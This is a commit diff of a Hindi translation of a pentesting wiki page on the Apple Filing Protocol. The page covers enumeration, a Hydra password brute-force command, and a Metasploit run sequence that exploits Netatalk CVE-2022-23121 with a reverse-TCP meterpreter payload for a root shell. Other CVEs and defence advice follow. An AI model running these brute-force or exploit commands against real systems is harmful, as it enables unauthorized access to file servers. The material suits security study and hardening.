Translated ['src/network-services-pentesting/584-pentesting-afp.md'] to

This commit is contained in:
Translator 2025-08-14 03:06:24 +00:00
parent 91d4687e1a
commit c86a39482c

View File

@ -4,27 +4,109 @@
## Basic Information
**Apple Filing Protocol** (**AFP**), जिसे पहले AppleTalk Filing Protocol के नाम से जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो **Apple File Service** (**AFS**) के अंतर्गत शामिल है। यह macOS और क्लासिक Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नामों, POSIX और एक्सेस कंट्रोल सूची अनुमतियों, संसाधन फोर्क, नामित विस्तारित विशेषताओं, और जटिल फ़ाइल लॉकिंग तंत्र का समर्थन करने के लिए जाना जाता है। यह Mac OS 9 और पूर्व के संस्करणों में फ़ाइल सेवाओं के लिए मुख्य प्रोटोकॉल था
**Apple Filing Protocol** (**AFP**), जिसे पहले AppleTalk Filing Protocol के नाम से जाना जाता था, एक विशेष नेटवर्क प्रोटोकॉल है जो **Apple File Service** (**AFS**) के अंतर्गत आता है। यह macOS और क्लासिक Mac OS के लिए फ़ाइल सेवाएँ प्रदान करने के लिए डिज़ाइन किया गया है। AFP यूनिकोड फ़ाइल नामों, POSIX-शैली और ACL अनुमतियों, संसाधन फोर्क, नामित विस्तारित विशेषताओं और जटिल फ़ाइल-लॉकिंग तंत्रों का समर्थन करने के लिए खड़ा है
**Default Port:** 548
हालांकि AFP को आधुनिक macOS रिलीज़ में SMB द्वारा प्रतिस्थापित किया गया है (OS X 10.9 से SMB डिफ़ॉल्ट है), यह अभी भी निम्नलिखित में पाया जाता है:
* विरासती macOS / Mac OS 9 वातावरण
* NAS उपकरण (QNAP, Synology, Western Digital, TrueNAS…) जो ओपन-सोर्स **Netatalk** डेमन को एम्बेड करते हैं
* मिश्रित-OS नेटवर्क जहाँ Time-Machine-over-AFP अभी भी सक्षम है
**डिफ़ॉल्ट TCP पोर्ट:** **548** (AFP over TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
PORT STATE SERVICE
548/tcp open afp
```
### **Enumeration**
---
AFP सेवाओं की गणना के लिए, निम्नलिखित कमांड और स्क्रिप्ट उपयोगी हैं:
## Enumeration
### Quick banner / server info
```bash
msf> use auxiliary/scanner/afp/afp_server_info
nmap -sV --script "afp-* and not dos and not brute" -p <PORT> <IP>
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
**स्क्रिप्ट और उनके विवरण:**
उपयोगी AFP NSE स्क्रिप्ट:
- **afp-ls**: यह स्क्रिप्ट उपलब्ध AFP वॉल्यूम और फ़ाइलों को सूचीबद्ध करने के लिए उपयोग की जाती है।
- **afp-path-vuln**: यह सभी AFP वॉल्यूम और फ़ाइलों को सूचीबद्ध करती है, संभावित कमजोरियों को उजागर करती है।
- **afp-serverinfo**: यह AFP सर्वर के बारे में विस्तृत जानकारी प्रदान करती है।
- **afp-showmount**: यह उपलब्ध AFP शेयरों को उनके संबंधित ACLs के साथ सूचीबद्ध करती है।
| स्क्रिप्ट | यह क्या करता है |
|----------|------------------|
| **afp-ls** | उपलब्ध AFP वॉल्यूम और फ़ाइलों की सूची बनाता है |
| **afp-brute** | AFP लॉगिन के खिलाफ पासवर्ड ब्रूट-फोर्स करता है |
| **afp-serverinfo** | सर्वर का नाम, मशीन प्रकार, AFP संस्करण, समर्थित UAMs आदि को डंप करता है |
| **afp-showmount** | शेयरों की सूची बनाता है साथ ही उनके ACLs के साथ |
| **afp-path-vuln** | निर्देशिका-क्रॉसिंग, CVE-2010-0533 का पता लगाता है (और इसका शोषण कर सकता है) |
### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#afp)
यदि अधिक नियंत्रण की आवश्यकता है तो NSE ब्रूट-फोर्स स्क्रिप्ट को Hydra/Medusa के साथ जोड़ा जा सकता है:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### शेयरों के साथ इंटरैक्ट करना
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (using `afpfs-ng` अधिकांश डिस्ट्रीब्यूशनों में पैक किया गया)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
एक बार माउंट होने के बाद, याद रखें कि क्लासिक मैक रिसोर्स-फोर्क्स को छिपे हुए `._*` AppleDouble फ़ाइलों के रूप में संग्रहीत किया जाता है - इनमें अक्सर दिलचस्प मेटाडेटा होता है जिसे DFIR उपकरण मिस कर देते हैं।
---
## सामान्य कमजोरियाँ और शोषण
### Netatalk बिना प्रमाणीकरण RCE श्रृंखला (2022)
कई NAS विक्रेताओं ने **Netatalk ≤3.1.12** भेजा। `parse_entries()` में सीमाओं की जांच की कमी एक हमलावर को एक दुर्भावनापूर्ण **AppleDouble** हेडर बनाने और प्रमाणीकरण से पहले **remote root** प्राप्त करने की अनुमति देती है (**CVSS 9.8 CVE-2022-23121**)। NCC Group द्वारा Western-Digital PR4100 का शोषण करते हुए PoC के साथ एक पूर्ण लेख उपलब्ध है।
Metasploit (>= 6.3) मॉड्यूल `exploit/linux/netatalk/parse_entries` के साथ आता है जो DSI `WRITE` के माध्यम से पेलोड प्रदान करता है।
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
यदि लक्ष्य प्रभावित QNAP/Synology फर्मवेयर चलाता है, तो सफल शोषण **root** के रूप में एक शेल प्रदान करता है।
### Netatalk OpenSession heap overflow (2018)
पुराना Netatalk (3.0.0 - 3.1.11) **DSI OpenSession** हैंडलर में एक आउट-ऑफ-बाउंड्स लिखने के लिए संवेदनशील है, जो बिना प्रमाणीकरण के कोड निष्पादन की अनुमति देता है (**CVE-2018-1160**)। Tenable Research द्वारा एक विस्तृत विश्लेषण और PoC प्रकाशित किया गया था।
### अन्य उल्लेखनीय मुद्दे
* **CVE-2022-22995** Symlink पुनर्निर्देशन जो AppleDouble v2 सक्षम होने पर मनमाने फ़ाइल लेखन / RCE की ओर ले जाता है (3.1.0 - 3.1.17)।
* **CVE-2010-0533** Apple Mac OS X 10.6 AFP में निर्देशिका traversal (जिसे `afp-path-vuln.nse` द्वारा पता लगाया गया)।
* **Netatalk 4.x (2024)** में कई मेमोरी-सुरक्षा बग को ठीक किया गया व्यक्तिगत CVEs को पैच करने के बजाय अपग्रेड करने की सिफारिश की जाती है।
---
## रक्षा सिफारिशें
1. **AFP को निष्क्रिय करें** जब तक कि यह सख्ती से आवश्यक न हो इसके बजाय SMB3 या NFS का उपयोग करें।
2. यदि AFP रहना चाहिए, तो **Netatalk को ≥ 3.1.18 या 4.x** में अपग्रेड करें, या विक्रेता फर्मवेयर लागू करें जो 2022/2023/2024 पैच को बैक-पोर्ट करता है।
3. **Strong UAMs** (जैसे *DHX2*) को लागू करें, स्पष्ट-टेक्स्ट और अतिथि लॉगिन को निष्क्रिय करें।
4. TCP 548 को विश्वसनीय उपनेट्स तक सीमित करें और जब दूरस्थ रूप से उजागर हो, तो AFP को एक VPN के अंदर लपेटें।
5. समय-समय पर `nmap -p 548 --script afp-*` के साथ CI/CD में स्कैन करें ताकि बागी / डाउनग्रेडेड उपकरणों को पकड़ा जा सके।
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## संदर्भ
* Netatalk सुरक्षा सलाहकार CVE-2022-23121 "parse_entries में मनमाना कोड निष्पादन" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "18 साल पुराने बग (CVE-2018-1160) का शोषण" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}